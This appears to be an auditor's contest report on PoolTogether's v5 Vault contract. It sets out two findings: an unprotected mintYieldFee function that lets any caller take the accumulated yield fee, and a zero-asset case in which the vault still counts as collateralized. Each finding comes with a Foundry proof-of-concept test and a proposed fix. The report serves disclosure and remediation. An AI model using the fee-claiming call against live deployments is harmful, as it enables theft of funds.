PoolTogether - ktg's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-#L402

Vulnerability details

Impact

Anyone can claim yield fee.

Proof of Concept

PoolTogether's Vault allows users to call liquidate to provide prize tokens and receive Vault shares in exchange. Each time liquidate is called, a fee is calculated and accumulated on _yieldFeeTotalSupply variable. The Vault contract also has a function called mintYieldFee, which is described as Mint Vault shares to the yield fee _recipient, implemented as follows:

  function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }

However,as you can see, this function doesn't require any authorization, and anyone can call it and claim the accumulated fee to their shares..

Below is a POC for the above example, for ease of testing, let's place this test case in file vault/test/unit/Vault/Liquidate.t.sol under contract VaultLiquidateTest, then test it using command: forge test --match-path test/unit/Vault/Liquidate.t.sol --match-test testAnyOneCanClaimYieldFee -vvvv In the

function testAnyOneCanClaimYieldFee() external {
    _setLiquidationPair();

    vault.setYieldFeePercentage(200000000);

    underlyingAsset.mint(address(this), 1000e18);
    _sponsor(underlyingAsset, vault, 1000e18, address(this));

    // Mint some yield
    underlyingAsset.mint(address(yieldVault), 10e18);


    // Mint some prize tokens for alice
    prizeToken.mint(alice, 1000e18);

    // Alice liquidate (deposit prize tokens in exchange for vault shares)
    uint256 aliceShares = 1e18; // this is also the desired share alice want to receive
    vm.prank(address(liquidationPair));
    vault.liquidate(
      alice,
      address(prizeToken),
      1e18, // this is tokens in
      address(vault),
      aliceShares // amountOut
    );

    uint256 yieldFeeTotalSupply = vault.yieldFeeTotalSupply();

    // Anyone can call mint yield fee and convert
    // the vault's accumulated fee to his/her shares

    address anyOne = address(0x1111);
    vault.mintYieldFee(yieldFeeTotalSupply, anyOne);

    assertEq(vault.balanceOf(anyOne), yieldFeeTotalSupply);

  }

Tools Used

Manual review

Recommended Mitigation Steps

I recommend providing appropriate access control for this function.

Assessed type

Access Control

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1182-#L1186

Vulnerability details

Impact

• Improper handling of cases when withdrawable assets = 0
• The vault will not function correctly.

Proof of Concept

The function _currentExchangeRate and _isVaultCollateralized of Vault are implemented as follows:

function _currentExchangeRate() internal view returns (uint256) {
    uint256 _totalSupplyAmount = _totalSupply();
    uint256 _totalSupplyToAssets = _convertToAssets(
      _totalSupplyAmount,
      _lastRecordedExchangeRate,
      Math.Rounding.Down
    );

    uint256 _withdrawableAssets = _yieldVault.maxWithdraw(address(this));

    if (_withdrawableAssets > _totalSupplyToAssets) {
      _withdrawableAssets = _withdrawableAssets - (_withdrawableAssets - _totalSupplyToAssets);
    }

    if (_totalSupplyAmount != 0 && _withdrawableAssets != 0) {
      return _withdrawableAssets.mulDiv(_assetUnit, _totalSupplyAmount, Math.Rounding.Down);
    }

    return _assetUnit;
  }

function _isVaultCollateralized() internal view returns (bool) {
    return _currentExchangeRate() >= _assetUnit;
}

The function Calculate exchange rate between the amount of assets withdrawable from the YieldVault and the amount of shares minted by this Vault. However, if _withdrawableAssets is 0, then the function returns _assetUnit (which means 1-1 ratio). This means that even when the vault has no withdrawable assets from _yieldVault, it's still considered collateralized.

To illustrate the oddity of this special case, consider when _withdrawableAssets = 1 and _totalSupplyAmount > 0; in this scenario, _currentExchangeRate returns 0 and the vault is considered under-collateralized (since 1 < _assetUnit). However, if _withdrawableAssets = 0, the vault is considered collateralized.

This case has profound impact since a lot of vault logic is based on the vault's collateralized status.

Below is a POC for the above example, for ease of testing, let's place these 2 test cases in file vault/test/unit/Vault/Deposit.t.sol under contract VaultDepositTest, then test them using commands: forge test --match-path test/unit/Vault/Deposit.t.sol --match-test testOneWithdrawableAmount -vvvv forge test --match-path test/unit/Vault/Deposit.t.sol --match-test testZeroWithdrawableAmount -vvvv

testOneWithdrawableAmount is to demonstrate when _withdrawableAssets = 1 and the vault is considered not collateralized, testZeroWithdrawableAmount is to demonstrate when _withdrawableAssets = 0 and the vault is considered collateralized.

function testZeroWithdrawableAmount() public {
    vm.startPrank(alice);
    uint256 _amount = 1000e18;
    underlyingAsset.mint(alice, _amount);
    underlyingAsset.approve(address(vault), type(uint256).max);

    vault.deposit(_amount, alice);
    

    // Now make the withdrawable asset = 0
    // Burn the balance of yieldVault
    uint256 yieldVaultAsset = underlyingAsset.balanceOf(address(yieldVault));
    underlyingAsset.burn(address(yieldVault), yieldVaultAsset);

    assertEq(underlyingAsset.balanceOf(address(yieldVault)), 0);

    // Although the vault has no asset withdrawable in yieldVault
    // the exchange rate is 10**18 = assetUnit and the vault is "collateralized"
    assertEq(yieldVault.maxWithdraw(address(vault)), 0);
    assertEq(vault.exchangeRate(), 10**18);
    assertEq(vault.isVaultCollateralized(), true);
  }

  function testOneWithdrawableAmount() public {
    vm.startPrank(alice);
    uint256 _amount = 1000e18;
    underlyingAsset.mint(alice, _amount);
    underlyingAsset.approve(address(vault), type(uint256).max);

    vault.deposit(_amount, alice);
    

    // Now make the withdrawable asset = 0
    // Burn the balance of yieldVault
    uint256 yieldVaultAsset = underlyingAsset.balanceOf(address(yieldVault));
    underlyingAsset.burn(address(yieldVault), yieldVaultAsset -1);

    assertEq(underlyingAsset.balanceOf(address(yieldVault)), 1);

    // vault only has 1 asset token withdrawable, and the exchangeRate is 0
    // the vault is not collateralized
    assertEq(yieldVault.maxWithdraw(address(vault)), 1);
    assertEq(vault.exchangeRate(), 0);
    assertEq(vault.isVaultCollateralized(), false);
  }

Tools Used

Manual review

Recommended Mitigation Steps

Since _withdrawableAssets is the dividend, there seems to be no harm in removing the check if _withdrawableAssets = 0. Therefore, I recommend removing it from the condition.

Assessed type

Invalid Validation